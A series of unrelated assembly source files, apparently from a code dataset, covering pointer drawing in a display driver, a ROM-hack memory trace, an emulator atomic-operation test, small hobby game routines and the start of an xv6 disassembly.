mov dx, CUR_SIZE ; 16 scan lines
pictureLoop:
lodsw ; get next word (scan) of picture data
xchg al,ah
mov bx, ax
clr ax
mov cx, CUR_SIZE ; 16 pixels/scan
pPixLoop:
shl bx, 1 ; top bit into carry
jc pSkipOne
mov es:[di], ax
pSkipOne:
inc di
inc di
loop pPixLoop ; do entire scan line
dec dx
jnz pictureLoop ; do all of mask
drawCursor::
; draw new cursor
cmp cs:[cursorCount],0
jnz VSP_done
push ds
segmov ds, cs ;EraseCursor wants ds == cs
call DrawCursor
pop ds
VSP_done:
pop es
ret
if ALLOW_BIG_MOUSE_POINTER
setBigPointer:
;; set big mouse pointer
mov di, offset ptrMaskBuffer
mov dx, CUR_SIZE ; 16 scan lines
bpMaskLoop:
lodsw ; get next word (scan) of mask data
xchg al, ah
mov bx, ax
clr ax
mov cx, CUR_SIZE ; 16 pixels/scan
bpmPixLoop:
shl bx, 1 ; top bit into carry
jnc bpmSkipOne
mov es:[di], ax
mov es:[di+2], ax ; do 2 pixels
mov es:[di+CUR_SIZE*4], ax
mov es:[di+CUR_SIZE*4+2],ax ; do 2 pixels on next scanline
bpmSkipOne:
add di, 4
loop bpmPixLoop ; do entire scan line
add di, CUR_SIZE*4 ; skip to next scanline
dec dx
jnz bpMaskLoop ; do all of mask
; now do the picture data.
mov dx, CUR_SIZE ; 16 scan lines
bpPictureLoop:
lodsw ; get next word (scan) of picture data
xchg al, ah
mov bx, ax
clr ax
mov cx, CUR_SIZE ; 16 pixels/scan
bppPixLoop:
shl bx, 1 ; top bit into carry
jc bppSkipOne
mov es:[di], ax
mov es:[di+2], ax ; do 2 pixels
mov es:[di+CUR_SIZE*4], ax
mov es:[di+CUR_SIZE*4+2],ax ; do 2 pixels on next scanline
bppSkipOne:
add di, 4
loop bppPixLoop ; do entire scan line
add di, CUR_SIZE*4 ; skip to next scanline
dec dx
jnz bpPictureLoop ; do all of mask
jmp drawCursor
endif ; ALLOW_BIG_MOUSE_POINTER
VidSetPtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CondHidePtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Temporarily hide the pointer while in a drawing operation
CALLED BY: INTERNAL
CommonRectHigh
PASS:
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 9/28/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CondHidePtr proc near
cmp cs:[cursorCount],0 ;test for hidden
jnz THP_ret
cmp cs:[hiddenFlag],0
jnz THP_ret
push ax, bx, cx, dx, si, di, bp, ds, es
segmov ds,cs ;point at variables
mov ds:[hiddenFlag],1 ;set hidden
call EraseCursor
pop ax, bx, cx, dx, si, di, bp, ds, es
THP_ret:
ret
CondHidePtr endp
public CondHidePtr
CondShowPtrFar proc far
push bp
call CondShowPtr
pop bp
ret
CondShowPtrFar endp
CondShowPtr proc near
push ds, es
segmov ds,cs ;point at variables
mov ds:[hiddenFlag],0
call DrawCursor
pop ds, es
ret
CondShowPtr endp
public CondShowPtr
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawCursor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the cursor when the optimization variables might be
incorrect
CALLED BY: INTERNAL
VidSetPtr, VidMovePtr
PASS: cursorX, cursorY - cursor position
cursorHotX, cursorHotY - cursor hot spot
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp, ds, es
PSEUDO CODE/STRATEGY:
We have pre-shifted versions of the cursor mask and image.
So we want to figure out which one to use (low three bits)
and do the right transfer (on byte boundaries), taking into
account any clipping (transfer fewer bytes if clipped).
To effect the transfer, we use the bitblt hardware on the
casio device. The BIOS calls are:
SET_DMA_TRANSFER_OFFSET(mask)
DO_DMA_TRANSFER(OR mode)
SET_DMA_TRANSFER_OFFSET(picture)
DO_DMA_TRANSFER(XOR mode)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 9/28/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawCursor proc near
uses ax, bx, cx, dx, si, di, bp
.enter
mov ax, cs:[cursorX] ; calc position to draw
mov bx, cs:[cursorY]
sub al, cs:[cursorHotX]
sbb ah, 0
sub bl, cs:[cursorHotY]
sbb bh, 0 ; ax,bx = cursor position
; we'll need to calc the width and the height of the
; transfer, so start out by assuming the full cursor size
; cl = width, ch = height, dl = left offset, dh = scan offset
clr dx
mov cl, {byte}cs:[cursorSize]
mov ch, cl
; do different stuff if off left of screen
tst ax ; check for neg coord
LONG js offLeft
; OK, it may be entirely inside the screen. Check the right.
mov si, cs:[DriverTable].VDI_pageW ; get right side coord
sub si, cs:[cursorSize]
cmp ax, si ; check right side
LONG ja offRight ; else clip right side
; If we are off the screen on top, then we need to adjust
; the Y offset, else we are starting from scan line 320.
checkHeight:
tst bx ; see if off the top
LONG js offTop ; take less-traveled road
mov si, cs:[DriverTable].VDI_pageH
sub si, cs:[cursorSize]
cmp bx, si ; check off the bottom too
LONG ja offBottom
; all ready to set the offsets, go for it.
; cl = width, ch = height, dl = left offset, dh = scan offset
; usage:ds:si -> pointer data
; es:di -> frame buffer
; bx = offset into scan line
; dx = offset from one scan line to the next
; bp = bytes left in this window
; ah = height
calcIndex:
mov cs:[cursorRegLeft], ax
mov cs:[cursorRegTop], bx
add al, cl
adc ah, 0
dec ax
mov cs:[cursorRegRight], ax
inc ax
sub al, cl
sbb ah, 0
add bl, ch
adc bh, 0
dec bx
mov cs:[cursorRegBottom], bx
inc bx
sub bl, ch
sbb bh, 0
mov cs:[backX], ax
mov cs:[backY], bx
mov cs:[backWidth], cl
mov cs:[backHeight], ch
push ax
mov al, dh
mul {byte}cs:[cursorSize] ; *cursorSize for scan index
clr dh
add dx, ax ; dx = index into picture
add dx, dx ; dx = byte offset into picture
pop ax
mov si, offset ptrMaskBuffer ; figure source address
add si, dx ;
segmov ds, cs ; ds:si -> maskBuffer (source)
mov di, bx
mov bx, ax
shl bx, 1
CalcScanLineBoth di, bx, es, ds ; ds,es:[di] -> destination
shr bx, 1
mov bp, cs:[curWinEnd] ; calc #bytes left
sub bp, di ; bp = #bytes left
mov ax, cs:[modeInfo].VMI_scanSize ; get bytes per scan
mul cs:[cursorSize]
cmp ax, bp ; going to overflow window ?
mov ah, ch ; ah = height
mov bx, offset cs:backBuffer
ja careScanLoop
; finally, draw the sucker
; ds:di -> frame buffer (read window)
; es:di -> frame buffer (write window)
; cl - width loop counters
; ah - height loop counter
; al - scratch register
; cs:si - offset into cursor definition buffer
; cs:bx - offset into background save buffer
drawLoop:
mov ch, cl ; reload width
push ax
pixLoop:
mov ax, ds:[di] ; get screen data
mov cs:[bx], ax ; store background
and ax, cs:[si] ; or in the mask
xor ax, cs:[si+(size ptrMaskBuffer)] ; xor the picture data
stosw
inc si
inc si
inc bx
inc bx
dec ch
jnz pixLoop
pop ax
shl cx, 1 ; 1 pixel = 2 bytes
sub di, cx
add si, cs:[cursorSize]
add si, cs:[cursorSize]
sub si, cx
shr cx, 1
add di, cs:[modeInfo].VMI_scanSize
dec ah
jnz drawLoop
done:
.leave
ret
; off the left side of the screen. This gets a bit complex.
offLeft:
neg ax ; that many bits over
mov dl, al ; start in from the left
sub cl, al ; that means fewer scans
clr ax
jmp checkHeight
; off the right side of the screen. This just means we
; transfer fewer bytes in width.
offRight:
sub si, ax ; assume one less
xchg si, ax
add cl, al ; cl = #bytes wide
xchg si, ax
jmp checkHeight
; the cursor is off the top of the screen. Adjust accordingly
offTop:
neg bx ; bl = #scans off top
mov dh, bl ; dh = scan index
sub ch, bl ; do that many less
clr bx
jmp calcIndex
; this is simple. We just need to reduce the number of scan
; lines to copy.
offBottom:
sub si, bx ; bx = -(#lines to shorten)
xchg si, bx
add ch, bl ; make it shorter
xchg si, bx
jmp calcIndex
; section of code to deal with drawing the cursor when we
; are getting close to the end of the memory window.
careScanLoop:
mov ch, cl ; reload width
push ax
carePixLoop:
mov ax, ds:[di] ; get screen data
mov cs:[bx], ax ; store to background buffer
and ax, cs:[si] ; or in the mask
xor ax, cs:[si+(size ptrMaskBuffer)] ; xor the picture data
stosw
inc bx ; next background byte
inc bx
inc si ; next cursor picture byte
inc si
dec ch
jnz carePixLoop
pop ax
shl cx, 1 ; 1 pixel = 2 bytes
sub di, cx
add si, cs:[cursorSize]
add si, cs:[cursorSize]
sub si, cx
shr cx, 1
dec ah
jz done
NextScanBoth di
jnc careScanLoop
cmp cx, cs:[pixelsLeft] ; if big enuf, just do it
jbe careScanLoop
mov ch, cs:[pixelsLeft].low
push ax
splitScanLoop:
mov ax, ds:[di] ; get screen data
mov cs:[bx], ax ; store to background buffer
and ax, cs:[si] ; or in the mask
xor ax, cs:[si+(size ptrMaskBuffer)] ; xor the picture data
stosw
inc bx ; next background byte
inc bx
inc si ; next cursor picture byte
inc si
dec ch
jnz splitScanLoop
pop ax
call MidScanNextWinSrc
call MidScanNextWin
mov ch, cl
sub ch, cs:[pixelsLeft].low
push ax
splitScanLoop2:
mov ax, ds:[di] ; get screen data
mov cs:[bx], ax ; store to background buffer
and ax, cs:[si] ; or in the mask
xor ax, cs:[si+(size ptrMaskBuffer)] ; xor the picture data
stosw
inc bx ; next background byte
inc bx
inc si ; next cursor picture byte
inc si
dec ch
jnz splitScanLoop2
pop ax
dec ah
LONG jz done
FirstWinScan
jmp careScanLoop
DrawCursor endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EraseCursor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Erase the cursor
CALLED BY: INTERNAL
VidSetPtr, VidMovePtr
PASS: cursorByteX - cursor byte x position
cursorScreenAddr - screen address to start at
cursorLines - number of lines to draw
cursorBuffer - data to recover
ds - cs
RETURN:
DESTROYED:
ax, bx, cx, dx, si, di, bp
PSEUDO CODE/STRATEGY:
This is much easier than drawing the cursor -- we just have
to copy the corresponding area from VRAM to DDRAM.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 9/28/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EraseCursor proc near
uses ax, si, ds, di, es, bx, cx
.enter
mov ax, cs:[backX]
mov bx, cs:[backY]
mov cl, cs:[backWidth]
mov ch, cs:[backHeight]
; get ds:si -> frame buffer
mov di, bx
shl ax, 1
CalcScanLine di, ax, es ; es:di -> frame buffer
shr ax, 1
segmov ds, cs, si
mov si, offset backBuffer ; ds:si -> save area
mov ax, cs:[modeInfo].VMI_scanSize
mov bx, ax ; save another copy
mul cs:[cursorSize]
add ax, di
jc partialWindow
cmp ax, cs:[curWinEnd] ; calc #bytes left
jae partialWindow
; the area is entirely inside the current memory window,
; DO IT FAST !
mov ax, bx ; restore scan size
mov bh, ch ; scan line counter
mov bl, cl ; save copy of pixel counter
clr ch
sub ax, cx ; distance to next scan
sub ax, cx
scanLoop:
mov cl, bl ; set up width
rep movsw
add di, ax ; onto next scan line
dec bh
jnz scanLoop
done:
.leave
ret
; part of cursor is in the next window
partialWindow:
mov ax, bx ; restore scan size
mov bh, ch
mov bl, cl
clr ch
partLoop:
mov cl, bl
rep movsw
mov cl, bl
sub di, cx
sub di, cx
doneScan::
dec bh
jz done
NextScan di, ax
jnc partLoop
mov cl, bl
cmp cx, cs:[pixelsLeft]
jbe partLoop
mov cx, cs:[pixelsLeft]
rep movsw
call MidScanNextWin
mov cl, bl
sub cx, cs:[pixelsLeft]
rep movsw
dec bh
jz done
FirstWinScan
jmp partLoop
EraseCursor endp
|
||||
TheStack | bb2429815e24f15e60327df5bc53d7f8f8a96ce5 | Assemblycode:Assembly | {"size": 2543, "ext": "asm", "max_stars_repo_path": "dino/lcs/etc/AA.asm", "max_stars_repo_name": "zengfr/arcade_game_romhacking_sourcecode_top_secret_data", "max_stars_repo_stars_event_min_datetime": "2020-10-14T15:29:10.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-12T18:58:54.000Z", "max_issues_repo_path": "dino/lcs/etc/AA.asm", "max_issues_repo_name": "zengfr/arcade_game_romhacking_sourcecode_top_secret_data", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dino/lcs/etc/AA.asm", "max_forks_repo_name": "zengfr/arcade_game_romhacking_sourcecode_top_secret_data", "max_forks_repo_forks_event_min_datetime": "2020-12-17T08:59:10.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-17T08:59:10.000Z"} | {"max_stars_count": 6, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 60.5476190476, "max_line_length": 350, "alphanum_fraction": 0.6397955171} | copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D3C move.l D0, (A4)+
004D3E move.l D0, (A4)+
0844CE move.w D0, ($aa,A6)
0844D2 move.w D0, ($b0,A6)
0849DA addi.w #$1, ($aa,A6)
0849E0 cmpi.w #$2, ($aa,A6) [etc+AA]
0849EA move.w #$0, ($aa,A6)
0849F0 tst.w D0
086DD0 move.w (A0,D1.w), ($aa,A6)
086DD6 rts [etc+AA]
0888FA move.l ($a0,A6), ($a8,A6) [etc+A0, etc+A2]
088900 move.l (A0), ($ac,A6) [etc+A8, etc+AA]
0889A0 movea.l ($a8,A6), A0 [etc+B0]
0889A4 move.l (A0)+, D0 [etc+A8, etc+AA]
091FF0 move.l #$0, ($aa,A6) [etc+A0]
091FF8 move.w #$1e, ($b6,A6)
0921FA move.l #$0, ($aa,A6) [etc+A0]
092202 rts
092266 move.b #$1, ($aa,A6) [etc+A9]
09226C rts [etc+AA]
09226E subq.b #1, ($aa,A6)
092272 bne $922c0 [etc+AA]
092274 move.b ($a9,A6), ($aa,A6)
09227A movea.l ($a4,A6), A0 [etc+AA]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
||||
TheStack | e268d35de2651ad15a5d5e0c935bba862d824806 | Assemblycode:Assembly | {"size": 968, "ext": "asm", "max_stars_repo_path": "unittests/ASM/Primary/Primary_31_Atomic64.asm", "max_stars_repo_name": "cobalt2727/FEX", "max_stars_repo_stars_event_min_datetime": "2020-03-06T14:01:32.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T06:35:14.000Z", "max_issues_repo_path": "unittests/ASM/Primary/Primary_31_Atomic64.asm", "max_issues_repo_name": "cobalt2727/FEX", "max_issues_repo_issues_event_min_datetime": "2020-03-06T08:25:12.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T04:05:29.000Z", "max_forks_repo_path": "unittests/ASM/Primary/Primary_31_Atomic64.asm", "max_forks_repo_name": "cobalt2727/FEX", "max_forks_repo_forks_event_min_datetime": "2020-03-07T06:10:00.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T09:27:36.000Z"} | {"max_stars_count": 628, "max_issues_count": 576, "max_forks_count": 38, "avg_line_length": 20.5957446809, "max_line_length": 47, "alphanum_fraction": 0.5981404959} | %ifdef CONFIG
{
"RegData": {
"RAX": "0x4042434445464748",
"RBX": "0x4042434445464748",
"RCX": "0x4142434445464748",
"RDX": "0x4142434445464748",
"RSI": "0x4042434445464748",
"RDI": "0x4142434445464748"
}
}
%endif
mov r15, 0xe0000000
mov rax, 0x4142434445464748
mov [r15 + 8 * 0], rax
mov [r15 + 8 * 1], rax
mov [r15 + 8 * 2], rax
mov [r15 + 8 * 3], rax
mov [r15 + 8 * 4], rax
mov [r15 + 8 * 5], rax
mov [r15 + 8 * 6], rax
mov [r15 + 8 * 7], rax
mov [r15 + 8 * 8], rax
mov [r15 + 8 * 9], rax
mov rax, 1
; Test 7 byte offset across 8byte boundary
lock xor qword [r15 + 8 * 0 + 7], rax
; Test 15 byte offset across 16byte boundary
lock xor qword [r15 + 8 * 0 + 15], rax
; Test 63 byte offset across cacheline boundary
lock xor qword [r15 + 8 * 0 + 63], rax
mov rax, qword [r15 + 8 * 0]
mov rbx, qword [r15 + 8 * 1]
mov rcx, qword [r15 + 8 * 2]
mov rdx, qword [r15 + 8 * 3]
mov rsi, qword [r15 + 8 * 7]
mov rdi, qword [r15 + 8 * 8]
hlt
|
||||
TheStack | 1fb39a42191b4232b6c46fa60931158307f8a354 | Assemblycode:Assembly | {"size": 1215, "ext": "asm", "max_stars_repo_path": "game1/room7.asm", "max_stars_repo_name": "w84death/arm-assembly", "max_stars_repo_stars_event_min_datetime": "2018-01-26T12:06:36.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-08T14:41:18.000Z", "max_issues_repo_path": "game1/room7.asm", "max_issues_repo_name": "w84death/arm-assembly", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "game1/room7.asm", "max_forks_repo_name": "w84death/arm-assembly", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 3, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.3571428571, "max_line_length": 53, "alphanum_fraction": 0.5860082305} | @ ---------------------------------------------------
@
@ Raspberry Pi Assembly GAME#1 by KJ/P1X
@
@ http://p1x.in | http://krzysztofjankowski.com
@ https://github.com/w84death/arm-assembly
@
@ ---------------------------------------------------
.arm
.include "globals.asm"
.data
.equ cmd_mask, 40 @ north/look
welcome:
.string "Room #7\n"
.equ welcome_len, .-welcome
description:
.string "\nLorem Ipsum.\n"
.equ desc_len, .-description
description2:
.string "\nDolor sid amet.\n"
.equ desc2_len, .-description2
.text
.global _room7
_room7:
LDR R1, =welcome
MOV R2, #welcome_len
BL _ui_render_welcome
BL _increment_turn
_skip_welcome:
MOV R1, #cmd_mask
BL _prompt
CMP R0, #cmd_nort
BEQ _room4
CMP R0, #cmd_look
BEQ _look
B _skip_welcome
_look:
BL _increment_turn
@ BL _get_room_triggers
@ AND R0, R1
@ CMP R0, #8
@ BGT _post_trigger
LDR R1, =description
MOV R2, #desc_len
MOV R3, #desc_style
BL _ui_render_message
B _skip_welcome
_post_trigger:
LDR R1, =description2
MOV R2, #desc2_len
MOV R3, #desc_style
BL _ui_render_message
B _skip_welcome
|
||||
TheStack | eff409ad31fd4010907efb7df312b7e0627dfdcc | Assemblycode:Assembly | {"size": 87, "ext": "asm", "max_stars_repo_path": "newitems/general/hooks.asm", "max_stars_repo_name": "fcard/z3randomizer", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "newitems/general/hooks.asm", "max_issues_repo_name": "fcard/z3randomizer", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "newitems/general/hooks.asm", "max_forks_repo_name": "fcard/z3randomizer", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.4, "max_line_length": 54, "alphanum_fraction": 0.632183908} | org $0089E2 ; Bank00.asm:1344 - LDA.b #$80 : STA $2115
JSL ExtraNMIUpdate
NOP
|
||||
TheStack | b2acb5692d3f60c55ed19763d8c045eb28a68154 | Assemblycode:Assembly | {"size": 5057, "ext": "asm", "max_stars_repo_path": "src/compressed-state-tutorial.asm", "max_stars_repo_name": "santiontanon/westen", "max_stars_repo_stars_event_min_datetime": "2021-09-22T04:12:15.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-25T07:16:48.000Z", "max_issues_repo_path": "src/compressed-state-tutorial.asm", "max_issues_repo_name": "santiontanon/westen", "max_issues_repo_issues_event_min_datetime": "2021-09-26T19:46:28.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-28T00:25:06.000Z", "max_forks_repo_path": "src/compressed-state-tutorial.asm", "max_forks_repo_name": "santiontanon/westen", "max_forks_repo_forks_event_min_datetime": "2021-09-26T16:45:52.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-09T21:20:17.000Z"} | {"max_stars_count": 49, "max_issues_count": 2, "max_forks_count": 4, "avg_line_length": 25.285, "max_line_length": 48, "alphanum_fraction": 0.6664030057} | ;-----------------------------------------------
state_tutorial:
call clearScreenLeftToRight_bitmap
call display_tutorial1
call display_tutorial2
call display_tutorial3
call display_tutorial4
jp state_title
;-----------------------------------------------
draw_text_from_bank_white:
ld iyl,COLOR_WHITE
jp draw_text_from_bank
;-----------------------------------------------
display_tutorial1:
call disable_VDP_output
; draw letter:
ld a,COLOR_WHITE + COLOR_WHITE*16
ld hl,CLRTBL2 + (4*32 + 6)*8
ld bc,#0d14
call clear_rectangle_bitmap_mode_color
ld hl,tutorial_zx0_page1
ld de,buffer1024
call decompress_from_page1
; Draw tutorial gfx:
ld ix,buffer1024
ld iy,20
ld de,CHRTBL2+(9*32+11)*8
ld bc,#050a
ld hl,buffer1024+20*12
ld (draw_hud_chunk_tile_ptr),hl
call draw_hud_chunk
; Draw tutorial text:
ld a,TEXT_TUTORIAL1_LINE1_IDX
ld bc,TEXT_TUTORIAL1_LINE1_BANK + 18*8*256
ld de,CHRTBL2 + (5*32 + 8)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL1_LINE2_IDX
ld bc,TEXT_TUTORIAL1_LINE2_BANK + 18*8*256
ld de,CHRTBL2 + (7*32 + 8)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL1_LINE3_IDX
ld bc,TEXT_TUTORIAL1_LINE3_BANK + 18*8*256
ld de,CHRTBL2 + (15*32 + 8)*8
call draw_text_from_bank_white
display_tutorial_entrypoint:
call enable_VDP_output
; wait for button:
call wait_for_space
jp clearScreenLeftToRight_bitmap
;-----------------------------------------------
display_tutorial2:
call disable_VDP_output
; draw letter:
ld a,COLOR_WHITE + COLOR_WHITE*16
ld hl,CLRTBL2 + (2*32 + 6)*8
ld bc,#0e14
call clear_rectangle_bitmap_mode_color
ld hl,tutorial_zx0_page1
ld de,buffer1024
call decompress_from_page1
; Draw tutorial gfx:
ld ix,buffer1024+10
ld iy,20
ld de,CHRTBL2+(10*32+11)*8
ld bc,#050a
ld hl,buffer1024+20*12
ld (draw_hud_chunk_tile_ptr),hl
call draw_hud_chunk
; Draw tutorial text:
ld a,TEXT_TUTORIAL2_LINE1_IDX
ld bc,TEXT_TUTORIAL2_LINE1_BANK + 18*8*256
ld de,CHRTBL2 + (3*32 + 7)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL2_LINE2_IDX
ld bc,TEXT_TUTORIAL2_LINE2_BANK + 18*8*256
ld de,CHRTBL2 + (5*32 + 7)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL2_LINE3_IDX
ld bc,TEXT_TUTORIAL2_LINE3_BANK + 18*8*256
ld de,CHRTBL2 + (7*32 + 7)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL2_LINE4_IDX
ld bc,TEXT_TUTORIAL2_LINE4_BANK + 18*8*256
ld de,CHRTBL2 + (9*32 + 7)*8
call draw_text_from_bank_white
jr display_tutorial_entrypoint
;-----------------------------------------------
display_tutorial3:
call disable_VDP_output
; draw letter:
ld a,COLOR_WHITE + COLOR_WHITE*16
ld hl,CLRTBL2 + (1*32 + 5)*8
ld bc,#1316
call clear_rectangle_bitmap_mode_color
ld hl,tutorial_zx0_page1
ld de,buffer1024
call decompress_from_page1
; Draw tutorial gfx:
ld ix,buffer1024+5*20+10
ld iy,20
ld de,CHRTBL2+(12*32+9)*8
ld bc,#070a
ld hl,buffer1024+20*12
ld (draw_hud_chunk_tile_ptr),hl
call draw_hud_chunk
; Draw tutorial text:
ld a,TEXT_TUTORIAL4_LINE1_IDX
ld bc,TEXT_TUTORIAL4_LINE1_BANK + 20*8*256
ld de,CHRTBL2 + (2*32 + 6)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL4_LINE2_IDX
ld bc,TEXT_TUTORIAL4_LINE2_BANK + 20*8*256
ld de,CHRTBL2 + (4*32 + 6)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL4_LINE3_IDX
ld bc,TEXT_TUTORIAL4_LINE3_BANK + 20*8*256
ld de,CHRTBL2 + (6*32 + 6)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL4_LINE4_IDX
ld bc,TEXT_TUTORIAL4_LINE4_BANK + 20*8*256
ld de,CHRTBL2 + (8*32 + 6)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL4_LINE5_IDX
ld bc,TEXT_TUTORIAL4_LINE5_BANK + 20*8*256
ld de,CHRTBL2 + (10*32 + 6)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL4_LINE6_IDX
ld bc,TEXT_TUTORIAL4_LINE6_BANK + 20*8*256
ld de,CHRTBL2 + (12*32 + 6)*8
call draw_text_from_bank_white
jp display_tutorial_entrypoint
;-----------------------------------------------
display_tutorial4:
call disable_VDP_output
; draw letter:
ld a,COLOR_WHITE + COLOR_WHITE*16
ld hl,CLRTBL2 + (3*32 + 6)*8
ld bc,#0d14
call clear_rectangle_bitmap_mode_color
ld hl,tutorial_zx0_page1
ld de,buffer1024
call decompress_from_page1
; Draw tutorial gfx:
ld ix,buffer1024+5*20
ld iy,20
ld de,CHRTBL2+(8*32+11)*8
ld bc,#070a
ld hl,buffer1024+20*12
ld (draw_hud_chunk_tile_ptr),hl
call draw_hud_chunk
; Draw tutorial text:
ld a,TEXT_TUTORIAL3_LINE1_IDX
ld bc,TEXT_TUTORIAL3_LINE1_BANK + 17*8*256
ld de,CHRTBL2 + (4*32 + 8)*8
call draw_text_from_bank_white
ld a,TEXT_TUTORIAL3_LINE2_IDX
ld bc,TEXT_TUTORIAL3_LINE2_BANK + 17*8*256
ld de,CHRTBL2 + (6*32 + 8)*8
call draw_text_from_bank_white
jp display_tutorial_entrypoint
|
||||
TheStack | e05f4416dde7e0b2cecc449ed55fca2963f224d8 | Assemblycode:Assembly | {"size": 24895, "ext": "asm", "max_stars_repo_path": "forktest.asm", "max_stars_repo_name": "harshika18/xv6-assignment", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "forktest.asm", "max_issues_repo_name": "harshika18/xv6-assignment", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "forktest.asm", "max_forks_repo_name": "harshika18/xv6-assignment", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 28.0033745782, "max_line_length": 58, "alphanum_fraction": 0.411849769} |
_forktest: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
printf(1, "fork test OK\n");
}
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
